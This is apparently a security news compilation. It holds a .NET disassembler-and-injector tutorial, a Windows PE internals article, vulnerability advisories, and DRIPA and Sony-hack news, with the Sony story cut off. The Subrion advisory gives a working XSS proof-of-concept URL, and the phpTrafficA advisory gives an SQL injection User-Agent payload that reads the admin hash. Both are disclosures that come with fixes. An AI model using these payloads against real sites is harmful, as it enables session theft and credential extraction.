We have practiced much disassembling by using assembly de-compilation tools such as Reflector, ILSpy, etc. Although such tools offer many advantages and are in widespread use among crackers, security professionals, and reverse engineers, nowadays they are commercialized or rarely available even for testing. This research paper is specially designed to learn how to make our own custom disassembler in order to diagnose assembly of both C# and IL code. It also integrates the making of code injection operability, which demonstrates implanting a malware or spyware into an existing executable or library file. The creation of a custom disassembler using the .NET framework is, in fact, a challenging undertaking because .NET framework languages, such as C# and VB.net, have some limitations in implementing the tactics of source code extraction or converting the MSIL code to C# code. Eventually, we could not achieve the dreamed-of implementation by the .NET framework alone. We shall have to interoperate with other frameworks or import third-party APIs. Hence, we shall move forward beyond the .NET constraint boundary by combining or importing open source project code into C# code to make possible the development of this amazing reverse engineering tool. In the first part of this paper, we shall concentrate on user interface design, along with obtaining necessary information related to target assembly. Prerequisite This time, we are not confronted by any ready-made tools, as we were earlier. In fact, we are going to get a taste of real coding by developing a reverse engineering tool that streamlines the task of disassembling. So, the user machine has to configure with the following software: Visual Studio 2010 Mono.Ceil.dll 9.5.0 Icsharp.Decompiler.dll NuGet Package Manager Icsharp.NRefactory.dll Project Planning Blueprints This project is basically composed of multiple modules and each module is assigned a particular functionality to perform. In this article, we shall demonstrate the making of this project in a development life cycle manner. The tasks that we are going implement are the following: Software design Package installation and configuration Namespace and reference definition Loading the assembly origin Information Showing assembly members Disassembling C# source code Disassembling MSIL code Message box injection Spyware injection Testing Code analysis So, in this first article, we are not going to illustration the design process; rather we shall begin our voyage by package installation (the NuGet package), and then move ahead by showing the assembly information as well as the member loading process. Software Design The custom disassembler cum injector stipulates a user-friendly, easy-to-operate end-user design that can even be manipulated by laymen. Though such an undertaking can be shown in command line view too, that is relatively cumbersome and offers fewer features. As per this software internal functionality, it typically first asks to upload a .NET-built assembly, which could be .dll, .exe, or anything else. Later, it displays the aspects of assembly origin in a comprehensive manner, as well as showing all members, such as namespace, method, and property-related specification of the assembly in the TreeView control. The moment we select or expand any member of the assembly, we get the decompiled view of the business logic in both C# code and MSIL code in separate tabs. Finally, the most significant features, such as message box and spyware/malware injection, could be encountered on behalf of selection of members from the TreeView control. We are going to craft the following design in order to de-compile assembly and inject malware: That software encapsulates a couple of controls that are arranged in a specific order to create the final design. It is presumed that the programmer must have proper experience in both designing and coding in .NET technology. Hence, it would be waste to elaborate the user control and arbitrary controls designed on a C# window form. It doesn’t matter, indeed, how you design your software. Rather, the matter of concern is that the business logic and features implementation should be postulated in the proper order. Getting Started Making this software is not similar to a common Windows form application. We shall have to deal with open source APIs, such as the Mono project and the NuGet package, because the Visual Studio IDE alone is not capable of making this happen. This segment embarks on the process by learning the initial configurations. So, open the Visual Studio IDE and go to “New Project Type” from the File menu, select the “Window Forms Application” type from the project template, and assign the project name as “dotnetInjector,” as shown below: The loader form shall be the entry point, having incorporated the disassembling and injection characteristics. Afterward, add one more form as “about” to the solution; the functionality is typically scattered across multiple form modules Adding External Reference Now, right click the dotnetInjector | reference and choose “Add Reference.” Here import some external DLL file references in order to consume their special classes, as follows: Mono.ceil.dll ICSharp.decompile.dll NuGet Package Installation The NuGet gallery is the central package repository used by all package consumers and developers. NuGet is a special package manager like Linux Yum for the Microsoft development platform, including .NET. The NuGet client tools provide the ability to produce and consume packages. Once the package is downloaded and installed as an add-in in the Visual Studio IDE, we have found its entry as “Library Package Manager” in the Tool menu: You can install, remove, update, and list any packages by using PowerShell command-line commands or by using the “Manage NuGet Packages” dialog box in the Package Manager console window in Visual Studio. Both options are accessible from the Visual Studio main menu. The following figure shows the power shell view of Package Manager, where we can manipulate it using built-in commands, such as the command prompt to install, list, or delete a package, as follows: In order to list the available packages at the NuGet repository, issue the following command: As we have stated earlier in the software requirement section, we need to import or install the ICSharp.Decompile.dll; likely, the NuGet repository has such a package, which incorporates all the relevant library files. So install this version of the package, especially 5.0.0.6, using the following command: PM> Install-Package ICSharpCode.NRefactory -Version 5.0.0.6 Thi s command connects the NuGet.org server, first downloading all the relevant or dependent packages and later on installing them one by one, as shown below: When the package is installed successfully, the following library DLLs are automatically added to the References: The NuGet add-in creates dependency charts for the packages that are installed in the current package in order to set up a correlation. If we want to remove any package and their associate entries from the reference tab, we can issue the following command: PM> Uninstall-Package ICSharpCode.NRefactory -Version 5.0.0.6 When you install a package, NuGet copies files to your solution and automatically makes whatever changes are needed, such as adding references and changing your package.config file. If you decide to remove the library, NuGet removes files and reverses whatever changes it made in your project so that no chaos is left. We can observe the change made in the package.config file after package installation: <?xml version="1.0" encoding="utf-8"?> <packages> <package id="ICSharpCode.NRefactory" version="5.0.0.6" targetFramework="net40-Client" /> <package id="Mono.Cecil" version="0.9.5.4" targetFramework="net40-Client" /> </packages> Importing API I assume that the developer would already have created the design. So, after making the entire relevant configuration, import the open source projects API, which we have downloaded via NuGet, namespace definition in the Loader.cs file. Importing Open Source API using Mono; using Mono.Cecil; using Mono.Cecil.Cil; using ICSharpCode.Decompiler; using ICSharpCode.Decompiler.Ast; We also need a sort of .NET special classes; import the following namespace, too, in the Loader.cs class file: Importing .NET API using System.Reflection; using System.IO; using System.Net; using System.Diagnostics; Assembly Information Loading This segment illustrates the real coding implemented behind this project. First, in the Loader.cs class, define a Boolean type variable and LoadedAsmbly property of AssemblyDefinition type: public partial class Loader : Form { public AssemblyDefinition LoadedAsmbly { get; set; } public bool status = false; ………………. } We shall have to upload the assembly file in order to show its information. So we will attach a File OpenDialog box on the button click and then choose a file there that will display the uploaded file complete path in the text box: Generate the button click event, place the following function, and set the Boolean variable to false. The ResetData() method typically cleans the control values and the openAssesmbly() method implements the “File Open” dialog box. private void btnLoadAssem_Click(object sender, EventArgs e) { status = false; ResetData(); openAssembly(); } The openAssembly() method first shows a “File Open” dialog box, then puts the selected file in the textbox control and calls the LoadAsmOrigin() method, which displays the assembly origin related method. Later, on behalf of the status Boolean variable, it calls another method, as shown below: private void openAssembly() { OpenFileDialog openAsm = new OpenFileDialog(); openAsm.Filter = "Executable | *.exe"; if (openAsm.ShowDialog() == DialogResult.OK) { txtURL.Text = openAsm.FileName; LoadAsmOrigin(); if (status==false) { LoadAsmContents(); } } } Exposing Assembly Origin This section explains the processing of assembly native information. We first read the assembly path and pass the reference of the selected assembly file path in the LoadedAsmbly variable. Then a couple of invoked property values of the AssemblyDefinition class are displayed in the rich text box: private void LoadAsmOrigin() { try { LoadedAsmbly = AssemblyDefinition.ReadAssembly(txtURL.Text); rtbInfo.Clear(); rtbInfo.AppendText("[Name]::" + LoadedAsmbly.MainModule.Name.ToString() + Environment.NewLine); rtbInfo.AppendText("[CLR Runtime]::" + LoadedAsmbly.MainModule.Runtime.ToString() + Environment.NewLine); rtbInfo.AppendText("[Full Name]::" + LoadedAsmbly.MainModule.FullyQualifiedName.ToString() + Environment.NewLine); rtbInfo.AppendText("[Metadata Token]::" + LoadedAsmbly.MainModule.MetadataToken.ToString() + Environment.NewLine); rtbInfo.AppendText("[Architecture]::" + LoadedAsmbly.MainModule.Architecture.ToString() + Environment.NewLine); rtbInfo.AppendText("[EntryPoint]::" + LoadedAsmbly.MainModule.EntryPoint.ToString() + Environment.NewLine); rtbInfo.AppendText("[Mvid]::" + LoadedAsmbly.MainModule.Mvid.ToString() + Environment.NewLine); } catch { ResetData(); MessageBox.Show("Couldn't Read Assembly, it is either Unmanaged or obfuscated"); status = true; return; } } It is good programming practice to put the sensitive code into the try/catch block so that we can escape from any unexpected occurrence. This software only accepts or disassembles a .NET-managed assembly, such as Reflector. Exposing Assembly Members We have examined how to obtain assembly-related information, such as name, entry, point and runtime. Now we shall populate entire members of the .NET assembly, for instance, namespace, methods, properties, and variables. This purpose is fulfilled by the LoadAsmContents() method, which is called previously in the openAssembly() method. Typically, we first read the assembly path and enumerate the contents of the assembly using Enumerator. This software does not gather massive information. It mainly shows the disassembling of methods. private void LoadAsmContents() { LoadedAsmbly = AssemblyDefinition.ReadAssembly(txtURL.Text); TreeNode tn = null; IEnumerator enumerator = LoadedAsmbly.MainModule.Types.GetEnumerator(); while (enumerator.MoveNext()) { TypeDefinition td = (TypeDefinition)enumerator.Current; tn = this.tvMembers.Nodes.Add(td.Name.ToString()); IEnumerator enumerator2 = td.Methods.GetEnumerator(); while (enumerator2.MoveNext()) { MethodDefinition method_definition = (MethodDefinition)enumerator2.Current; if (method_definition.IsConstructor) { tn.Nodes.Add(method_definition.Name.ToString()); } tn.Nodes.Add(method_definition.Name.ToString()); } } } We use two enumerator objects in this context. The first one is used to list the main module of the assembly and the second is used to display especially methods that reside in the assembly. Testing This paper’s objective is finished. Now test the application by running it via F5 and you see the design that is created by me. Where the first block represents the reading of any assembly, the second block incorporates the necessary information regarding the assembly and the vertical block shows the disassembled contents. Upload the assembly (either .exe or .dll) and the next consecutive block renders all relative information regarding the uploaded assembly. The “Assembly Members View” box displays all the methods, properties, and constructors that reside in the assembly as we expand the namespace. Final Note So we have finished the first paper of the “Disassembler Mechanized” series, where we basically set the software development platforms by first importing or configuring the open source package from the NuGet Repository. Later, we have revealed the software development strategy, which comprises multiple layers of functionality development. This software is going to implement much functionality, so it is not possible to elaborate the entire mechanism in a single edition. We therefore presented limited functionality in this paper, especially until showing the assemble contents view. In the forthcoming article, we shall illustrate C #and MSIL code disassembling from an .exe or .dll file. Source

Microsoft Windows is a modular architecture. Windows Components are split into smaller pieces known as DLL (Dynamic-Link Library) and sys files (system files). These DLL or system files are inter-related to each other and work as a team. A call from a single DLL is forwarded to another DLL function name or other inter-modular calls. Have you ever wondered how Windows API calls are implemented internally? Well, we are going to learn about the Windows internal call structure in this article. Tools Required: Windows XP machine or virtual Machine. C/C++ compiler. A Debugger like ollydbg. Understanding the executable format As an object file is compiled, it gets transformed into a PE (Portable Executable) file (or an exe file). Portable Executable files are well documented by Microsoft. They consist of sections and headers: these sections and headers inform the PE loader how to load the executable file by Windows. For example, some of the fields inform the loader which section is to be marked as executable and which is to be marked as data section. Size of initial heap, stack, TLS (Thread Local Storage) is also determined by PE headers. Now let’s create a minimalistic PE file and check out its headers and sections: Microsoft (R) COFF/PE Dumper Version 8.00.50727.42 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file sample.exe PE signature found File Type: EXECUTABLE IMAGE FILE HEADER VALUES 14C machine (x86) 3 number of sections 5207B239 time date stamp Sun Aug 11 21:18:09 2013 0 file pointer to symbol table 0 number of symbols E0 size of optional header 103 characteristics Relocations stripped Executable 32 bit word machine OPTIONAL HEADER VALUES 10B magic # (PE32) 8.00 linker version 200 size of code 400 size of initialized data 0 size of uninitialized data 1000 entry point (00401000) 1000 base of code 2000 base of data 400000 image base (00400000 to 00403FFF) 1000 section alignment 200 file alignment 4.00 operating system version 0.00 image version 4.00 subsystem version 0 Win32 version 4000 size of image 400 size of headers 0 checksum 3 subsystem (Windows CUI) 400 DLL characteristics No structured exception handler 100000 size of stack reserve 1000 size of stack commit 100000 size of heap reserve 1000 size of heap commit 0 loader flags 10 number of directories 0 [ 0] RVA [size] of Export Directory 2008 [ 28] RVA [size] of Import Directory 0 [ 0] RVA [size] of Resource Directory 0 [ 0] RVA [size] of Exception Directory 0 [ 0] RVA [size] of Certificates Directory 0 [ 0] RVA [size] of Base Relocation Directory 0 [ 0] RVA [size] of Debug Directory 0 [ 0] RVA [size] of Architecture Directory 0 [ 0] RVA [size] of Global Pointer Directory 0 [ 0] RVA [size] of Thread Storage Directory 0 [ 0] RVA [size] of Load Configuration Directory 0 [ 0] RVA [size] of Bound Import Directory 2000 [ 8] RVA [size] of Import Address Table Directory 0 [ 0] RVA [size] of Delay Import Directory 0 [ 0] RVA [size] of COM Descriptor Directory 0 [ 0] RVA [size] of Reserved Directory SECTION HEADER #1 .text name 81 virtual size 1000 virtual address (00401000 to 00401080) 200 size of raw data 400 file pointer to raw data (00000400 to 000005FF) 0 file pointer to relocation table 0 file pointer to line numbers 0 number of relocations 0 number of line numbers 60000020 flags Code Execute Read RAW DATA #1 00401000: 55 8B EC 51 C7 45 FC 00 00 00 00 68 30 10 40 00 U.ìQÇEü....h0.@. 00401010: FF 15 00 20 40 00 8B 45 FC C6 00 36 33 C0 8B E5 ÿ.. @..EüÆ.63À.å 00401020: 5D C3 CC CC CC CC CC CC CC CC CC CC CC CC CC CC ]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌ 00401030: 55 8B EC 83 EC 08 8B 45 08 8B 08 8B 11 89 55 F8 U.ì.ì..E......Uø 00401040: 81 7D F8 05 00 00 C0 75 28 A1 00 30 40 00 83 C0 .}ø...Àu(¡.0@..À 00401050: 01 A3 00 30 40 00 83 3D 00 30 40 00 05 7D 09 C7 .£.0@..=.0@..}.Ç 00401060: 45 FC FF FF FF FF EB 07 C7 45 FC 01 00 00 00 EB Eüÿÿÿÿë.ÇEü....ë 00401070: 07 C7 45 FC 00 00 00 00 8B 45 FC 8B E5 5D C2 04 .ÇEü.....Eü.å]Â. 00401080: 00 . SECTION HEADER #2 .rdata name 64 virtual size 2000 virtual address (00402000 to 00402063) 200 size of raw data 600 file pointer to raw data (00000600 to 000007FF) 0 file pointer to relocation table 0 file pointer to line numbers 0 number of relocations 0 number of line numbers 40000040 flags Initialized Data Read Only RAW DATA #2 00402000: 38 20 00 00 00 00 00 00 30 20 00 00 00 00 00 00 8 ......0 ...... 00402010: 00 00 00 00 56 20 00 00 00 20 00 00 00 00 00 00 ....V ... ...... 00402020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00402030: 38 20 00 00 00 00 00 00 4A 03 53 65 74 55 6E 68 8 ......J.SetUnh 00402040: 61 6E 64 6C 65 64 45 78 63 65 70 74 69 6F 6E 46 andledExceptionF 00402050: 69 6C 74 65 72 00 4B 45 52 4E 45 4C 33 32 2E 64 ilter.KERNEL32.d 00402060: 6C 6C 00 00 ll.. Section contains the following imports: KERNEL32.DLL 402000 Import Address Table 402030 Import Name Table 0 time date stamp 0 Index of first forwarder reference 34A SetUnhandledExceptionFilter SECTION HEADER #3 .data name 4 virtual size 3000 virtual address (00403000 to 00403003) 0 size of raw data 0 file pointer to raw data 0 file pointer to relocation table 0 file pointer to line numbers 0 number of relocations 0 number of line numbers C0000040 flags Initialized Data Read Write Summary 1000 .data 1000 .rdata 1000 .text Every PE file begins with a ‘MZ’ signature that acts as an indicator of a valid PE file. It follows up with a valid MZ section header (where the DOS error program is also located) and will pop out a message if the PE file runs under MS DOS. After the DOS stub pointer is present (which gives out the offset to the PE header), It’s the RVA from the beginning of MZ header. We can calculate RV by using the following formula: If we reach to the offset of the PE signature, we would have four bytes for the PE signature plus IMAGE_PE header. The following examples are basic but still important points of this header: 000000D8 50 45 00 00 ASCII “PE” ; PE signature (PE) 000000DC 4C01 DW 014C ; Machine = IMAGE_FILE_MACHINE_I386 000000DE 0500 DW 0005 ; NumberOfSections = 5 000000E0 8F9BC44E DD 4EC49B8F ; TimeDateStamp = 4EC49B8F The machine specifies the architecture for which it was made. NumberOfSections specifies number of sections this portable executable has. TimeDateStamp is the time_t struct value for the date it was compiled. Other values like ‘numberofsection’ gives you the list numbers of sections inside a PE file. This can be enumerated using the IMAGE_DATA_DIRECTORY structure. One other important member of the PE format is the AddressOfEntryPoint. This RVA points towards the Entry point of the program from where the execution starts. Following code can be used to get the entry point of the executable unsigned int AddrSPSize(unsigned char *PEfile) { FILE *fp = fopen((const char *)PEfile, "rb"); IMAGE_DOS_HEADER DosHdr = {0}; IMAGE_FILE_HEADER FileHdr = {0}; IMAGE_OPTIONAL_HEADER OptHdr = {0}; fread(&DosHdr, sizeof(IMAGE_DOS_HEADER), 0x01, fp); fseek(fp, (unsigned int)DosHdr.e_lfanew + 4,SEEK_SET); fseek(fp, sizeof(IMAGE_FILE_HEADER), SEEK_CUR); fread( &OptHdr, sizeof(IMAGE_OPTIONAL_HEADER) , 0x01, fp); fclose(fp); return(OptHdr.SizeOfImage); } Thread Information Block (TIB) The Tread information block consists of a plethora of information regarding the current thread. “Flowing” is the definition of the thread information block and its structures. The base of TEB is located at FS:[0] segment register . struct TEB typedef struct _TEB { NT_TIB NtTib; PVOID EnvironmentPointer; CLIENT_ID ClientId; PVOID ActiveRpcHandle; PVOID ThreadLocalStoragePointer; PPEB ProcessEnvironmentBlock; ULONG LastErrorValue; ULONG CountOfOwnedCriticalSections; PVOID CsrClientThread; PVOID Win32ThreadInfo; ULONG User32Reserved[26]; ULONG UserReserved[5]; PVOID WOW32Reserved; ULONG CurrentLocale; ULONG FpSoftwareStatusRegister; VOID * SystemReserved1[54]; LONG ExceptionCode; PACTIVATION_CONTEXT_STACK ActivationContextStackPointer; UCHAR SpareBytes1[36]; ULONG TxFsContext; GDI_TEB_BATCH GdiTebBatch; CLIENT_ID RealClientId; PVOID GdiCachedProcessHandle; ULONG GdiClientPID; ULONG GdiClientTID; PVOID GdiThreadLocalInfo; ULONG Win32ClientInfo[62]; VOID * glDispatchTable[233]; ULONG glReserved1[29]; PVOID glReserved2; PVOID glSectionInfo; PVOID glSection; PVOID glTable; PVOID glCurrentRC; PVOID glContext; ULONG LastStatusValue; UNICODE_STRING StaticUnicodeString; WCHAR StaticUnicodeBuffer[261]; PVOID DeallocationStack; VOID * TlsSlots[64]; LIST_ENTRY TlsLinks; PVOID Vdm; PVOID ReservedForNtRpc; VOID * DbgSsReserved[2]; ULONG HardErrorMode; VOID * Instrumentation[9]; GUID ActivityId; PVOID SubProcessTag; PVOID EtwLocalData; PVOID EtwTraceData; PVOID WinSockData; ULONG GdiBatchCount; UCHAR SpareBool0; UCHAR SpareBool1; UCHAR SpareBool2; UCHAR IdealProcessor; ULONG GuaranteedStackBytes; PVOID ReservedForPerf; PVOID ReservedForOle; ULONG WaitingOnLoaderLock; PVOID SavedPriorityState; ULONG SoftPatchPtr1; PVOID ThreadPoolData; VOID * * TlsExpansionSlots; ULONG ImpersonationLocale; ULONG IsImpersonating; PVOID NlsCache; PVOID pShimData; ULONG HeapVirtualAffinity; PVOID CurrentTransactionHandle; PTEB_ACTIVE_FRAME ActiveFrame; PVOID FlsData; PVOID PreferredLanguages; PVOID UserPrefLanguages; PVOID MergedPrefLanguages; ULONG MuiImpersonation; WORD CrossTebFlags; ULONG SpareCrossTebBits: 16; WORD SameTebFlags; ULONG DbgSafeThunkCall: 1; ULONG DbgInDebugPrint: 1; ULONG DbgHasFiberData: 1; ULONG DbgSkipThreadAttach: 1; ULONG DbgWerInShipAssertCode: 1; ULONG DbgRanProcessInit: 1; ULONG DbgClonedThread: 1; ULONG DbgSuppressDebugMsg: 1; ULONG SpareSameTebBits: 8; PVOID TxnScopeEnterCallback; PVOID TxnScopeExitCallback; PVOID TxnScopeContext; ULONG LockCount; ULONG ProcessRundown; UINT64 LastSwitchTime; UINT64 TotalSwitchOutTime; LARGE_INTEGER WaitReasonBitMap; } TEB, *PTEB; One more important structure that resides inside the TEB is the process environment block, which has some really interesting fields: typedef struct _PEB { BYTE Reserved1[2]; BYTE BeingDebugged; BYTE Reserved2[1]; PVOID Reserved3[2]; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; BYTE Reserved4[104]; PVOID Reserved5[52]; PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; BYTE Reserved6[128]; PVOID Reserved7[1]; ULONG SessionId; } LDR consists of loaded modules by the executable during runtime. The second variable BeingDebugged is set if the process is being debugged otherwise 0. We can also enumerate the list of loaded process modules using this structure. Internal Windows Kernel call Structure. Now let’s look at how internal calls to Windows Kernel take place. For this we will use CreateFileA as an example. HANDLE File = CreateFile(“File”, FILE_READ_DATA , FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, The above code statement calls CreateFileA in kernel32.DLL, after getting inside CreateFileA in kernel32.DLL, let’s see what the subsequent calls are being made after that. As we can see that there are two internal calls being made in kernel32!CreateFileA. Let’s look at the first one which is located at 7C80E2A4 This call takes one argument as file name. After examining the rtlinitansistring, we can form structs and functions in C equivalent code struct __unknwon { short len; short max_len; void *buffer; }unknown; sturct __unknown rtlinitansistring ( struct unknown, unsigned char *buffer) { unkown.len = 0; unknwon.buffer = buffer; if ( buffer == 0) return unknown; while(*buffer) { unknown.len++; buffer++; } return unknown; } This function initializes the ANSI string and stores them in a struct. After this call, another function is called but before it a check regarding OEM string is made 7C80E2C5 CMP DWORD PTR DS:[7C8836E0],0 This function basically converts a ANSI string to UNICODE one After finishing up with Character conversion, CreateFileW is called with File name in unicode rest of the parameters are kept same. Inside CreateFileW it will always first check if parameter Mode is CREATE_ALWAYS, which in our case, is. Mode = CREATE_ALWAYS 7C810988 . 48 DEC EAX 7C810989 . 0F84 C9060000 JE kernel32.7C811058 In that case it will set its variable as 5 7C811058 > C745 F8 050000>MOV DWORD PTR SS:[EBP-8],5 After that it again calls RtlInitUnicodeString 7C8109A2 . 56 PUSH ESI ; /Arg2 7C8109A3 . 8D45 E8 LEA EAX,DWORD PTR SS:[EBP-18] ; | 7C8109A6 . 50 PUSH EAX ; |Arg1 7C8109A7 . FF15 4010807C CALL DWORD PTR DS:[<&ntDLL.RtlInitUnicod>; RtlInitUnicodeString Up to now, lots of heap memory was allocated. Code that will de-allocate all unused memory is called; which happens to be present at 0x7C810A0E Finally, after the call to NtCreateFile is made, we land inside ntDLL.DLL sys call dispatcher 7C90D682 >/$ B8 25000000 MOV EAX,25 7C90D687 |. BA 0003FE7F MOV EDX,7FFE0300 7C90D68C |. FF12 CALL DWORD PTR DS:[EDX] ; ntDLL.KiFastSystemCall 7C90D68E . C2 2C00 RETN 2C 0×25 is the SYS Call Number for Create File 7C90EB8B >/$ 8BD4 MOV EDX,ESP 7C90EB8D |. 0F34 SYSENTER References: Windows NT/2000 Native API Reference: Gary Nebbett: 9781578701995: Amazon.com: Books http://www.amazon.com/dp/0735625301 RtlAnsiStringToUnicodeString function receieves strict __unicode as one of its parameters. Source

Network Interface Events Logging Daemon is a tool that receives notifications from the kernel through the netlink socket and generates logs related to link state, neighbor cache (ARP,NDP), IP address (IPv4,IPv6), route, FIB rules, and traffic control. Changes: This release includes support for state of bridge port. Download

Information -------------------- Advisory by Netsparker. Name: XSS Vulnerability in Subrion CMS Affected Software : Subrion CMS Affected Versions: 3.2.2 and possibly below Vendor Homepage : http://www.subrion.org/ Vulnerability Type : Cross-site Scripting Severity : Important CVE-ID: CVE-2014-9120 Netsparker Advisory Reference : NS-14-039 Advisory URL ------------ https://www.netsparker.com/xss-vulnerability-in-subrion-cms/ Description -------------------- Subrion CMS is a powerful PHP content management system that is very easy to use. It comes with a ton of great features including full source editing, per-page permissions, extensive plugin system, and much more. Technical Details -------------------- Proof of Concept URLs for XSS in Subrion CMS: http://example.com/subrion/search/';"--></style></scRipt><scRipt>alert(0x003DE1)</scRipt>/ For more information on cross-site scripting vulnerabilities read the following article https://www.netsparker.com/web-vulnerability-scanner/vulnerability-security-checks-index/crosssite-scripting-xss/ Advisory Timeline -------------------- 29/11/2014 - First Contact 03/12/2014 - Vulnerability fixed 09/12/2014 - Advisory released Solution -------------------- http://tools.subrion.org/get/latest.zip Credits & Authors -------------------- These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner. About Netsparker -------------------- Netsparker can find and report security issues and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications regardless of the platform and the technology they are built on. Netsparker's unique detection and exploitation techniques allows it to be dead accurate in reporting hence it's the first and the only False Positive Free web application security scanner. For more information on Netsparker visit https://www.netsparker.com/ Source

*CVE-2014-8751 goYWP WebPress Multiple XSS (Cross-Site Scripting) Security Vulnerabilities* Exploit Title: goYWP WebPress Multiple XSS (Cross-Site Scripting) Security Vulnerabilities Product: WebPress Vendor: goYWP Vulnerable Versions: 13.00.06 Tested Version: 13.00.06 Advisory Publication: Dec 09, 2014 Latest Update: Dec 09, 2014 Vulnerability Type: Cross-Site Scripting [CWE-79] CVE Reference: CVE-2014-8751 Credit: Wang Jing [SPMS, Nanyang Technological University, Singapore] *Advisory Details:* *(1) Product* "WebPress is the foundation on which we build web sites. It’s our unique Content Management System (CMS), flexible enough for us to build your dream site, and easy enough for you to maintain it yourself." *(2) Vulnerability Details:* goYWP WebPress is vulnerable to XSS attacks. *(2.1)* The first security vulnerability occurs at "/search.php" page with "&search_param" parameter in HTTP GET. *(2.2)* The second security vulnerability occurs at "/forms.php" (form submission ) page with "&name", "&address" "&comment" parameters in HTTP POST. *References:* http://tetraph.com/security/cves/cve-2014-8751-goywp-webpress-multiple-xss-cross-site-scripting-security-vulnerabilities/ http://www.goywp.com/view/cms http://www.goywp.com/demo.php http://cwe.mitre.org http://cve.mitre.org/ Source

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Product: phpTrafficA Product page: http://soft.zoneo.net/phpTrafficA/ Affected versions: Up to and including 2.3 (latest as of writing). Description: An SQL injection exists in Php/Functions/log_function.php, line 933: $sql3 ="INSERT INTO `${table}_host` SET date='$date', host='', hostname='', page='$page', ref='$cleanref', agent='$agent', longIP='$iplong'"; The $agent variable comes directly from $_SERVER['HTTP_USER_AGENT'], without any escaping. This makes SQL injection possible. Even if multiple statements in one query has been turned off, the contents of the database can still be read by manipulating the last parameter of the query (the IPv4-address stored as an integer). For example, the following spoofed user agent will store the ASCII-value of the second character of the admin hash as its IP: Firefox', longIP=(SELECT ASCII(SUBSTRING(value,2,1)) FROM phpTrafficA_conf WHERE variable='adminpassword') # This will be displayed in the "Latest visitors > Details" section, and by repeating this procedure multiple times, the entire admin hash (or any other database content) can be retrieved. Partial mitigations: - - Turn off "multiple statements in one query". - - Hide "Latest visitors > Details" section from view. This prevents the attacker from obtaining the output of the manipulated query. - - Apply this quick fix to line 933: $sql3 ="INSERT INTO `${table}_host` SET date='$date', host='', hostname='', page='$page', ref='$cleanref', agent='".mysql_real_escape_string($agent)."', longIP='$iplong'"; The code-fix does not resolve the SQL injection for all server configurations, but should be sufficient for most. A proper fix would be a version of phpTrafficA that uses PDO with prepared statements. Best regards, Daniel Geerts -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.14 (GNU/Linux) iQIcBAEBAgAGBQJUhwA8AAoJEHn1bVIKHk5NxhYQAMiEbr06K7UQxXEZv0+3KTr6 LTA+65vVdmu0mTPQrTEjNeW46bv5tpnOuZc0q8Nprwbko2V/ANVXnD2NC4nBdYE8 J+7XonQq7CnsM//C504D2Vms3ylQhkthycCBc1OXaaEEIF2lmFrLPFsLLNkjaEAr A5hDZJE7tSjDoq4/a3Psl1DLC+oblYbAA/JJxcSx5Abdnt47i9HMs9xWxN5Jn9oj OwXoF31YrMxbMoqrENQqnc5lVvfxM+ki/t5sCZV4jk1kRX7Ivf7sEMbhiN0sKqnM UeNwVSgi5308rAYdyg5zpUurvwIlKYtU9kA4N1sIVJCIGzeZXYCIOVAJZNglZ/NB bX9EoLoxeU1R7RS2SWHLEneriiyj0nCyS1X+HSkov9p1gYemxqivgmBKsV3A4LxG Crz7kHpcpYSn15u7vploGOki/G0sqpMVL9UwkK/F5vxRkMWxBjqvCzXudDXBvYVJ gnSJGw0QB6roJqHx3yf3x91YE8m69axiFTE8dAUz1IfTsbEgc2oUfnO+crWPyWh7 IHx8gIfN/3Uck/6gLPse63rtKB+jI7/i4xJbm0FIbOnodzkJP1GDy9U3UsEbleSW kKV884YFogi1iyfuOhrqCGWatQybpHlM/VyycH3NvzpsDFwVCYrnaQ/jpfKS1rlz dWvSYp6b43Nui30hm+kv =PZkK -----END PGP SIGNATURE----- Source

The UK High Court has approved a judicial hearing over the Data Retention and Investigatory Powers Act (DRIPA), which was rushed into force this summer by the government. DRIPA was challenged almost as soon as it was announced and ratified by the government. MPs Tom Watson and David Davis, and the Open Rights Group and Liberty, launched challenges, and will now be allowed to enter more negative evidence about the legislation. The ORG welcomed the court's decision. "After the Court of Justice of the EU [CJEU] declared the Data Retention Directive invalid, the UK government had the opportunity to design new legislation that would protect human rights," said ORG legal director Elizabeth Knight. "It chose instead to circumvent the decision of the CJEU by introducing DRIPA, which is almost identical to the Data Retention Directive. "Through our submission, we hope to help demonstrate that DRIPA breaches our fundamental human right to privacy and does not comply with human rights and EU law." Loz Kaye, leader of the UK Pirate Party, welcomed the review, adding that the hastily introduced rules demanded scrutiny. "It's vital that the DRIPA travesty is challenged. Whatever the government and the Labour Party say, the CJEU was crystal clear that blanket snooping is a violation of the right to a private life," he said. "Either we believe in human rights or we don't. We don't just get to pick and choose as it suits the powers that be." The Home Office, which is responsible for DRIPA, told V3 it does not comment on ongoing litigation. V3 has also asked Watson and Liberty for their responses. The Internet Service Providers Association also criticised the government last week for not heeding the industry when it comes to regulation. It is sticking to this stance, and said that service providers need a legal framework that they can count on. "It is important that the communications data framework and obligations passed on CSPs are legally compliant and it is for the Home Office to ensure that this is the case," said Nicholas Lansman, ISPA secretary general in a statement to V3.co.uk. "DRIPA was fast tracked through Parliament, as have new IP resolution powers, so ISPA is calling on Government to commit to no further extension of communications data capabilities until a full and comprehensive review has taken place in the next Parliament." Source

(Reuters) - Sony Corp's (6758.T) movie studio could face tens of millions of dollars in costs from the massive computer hack that hobbled its operations and exposed sensitive data, according to cybersecurity experts who have studied past breaches. The tab will be less than the $171 million Sony estimated for the breach of its Playstation Network in 2011 because it does not appear to involve customer data, the experts said. Major costs for the attack by unidentified hackers include the investigation into what happened, computer repair or replacement, and steps to prevent a future attack. Lost productivity while operations were disrupted will add to the price tag. The attack, believed to be the worst of its type on a company on U.S. soil, also hits Sony's reputation for a perceived failure to safeguard information, said Jim Lewis, senior fellow at the Center for Strategic and International Studies. "Usually, people get over it, but it does have a short-term effect," said Lewis, who estimated costs for Sony could stretch to $100 million. It typically takes at least six months after a breach to determine the full financial impact, Lewis said. Sony has declined to estimate costs, saying it was still assessing the impact. The company has insurance to cover data breaches, a person familiar with the matter said. Cybersecurity insurance typically 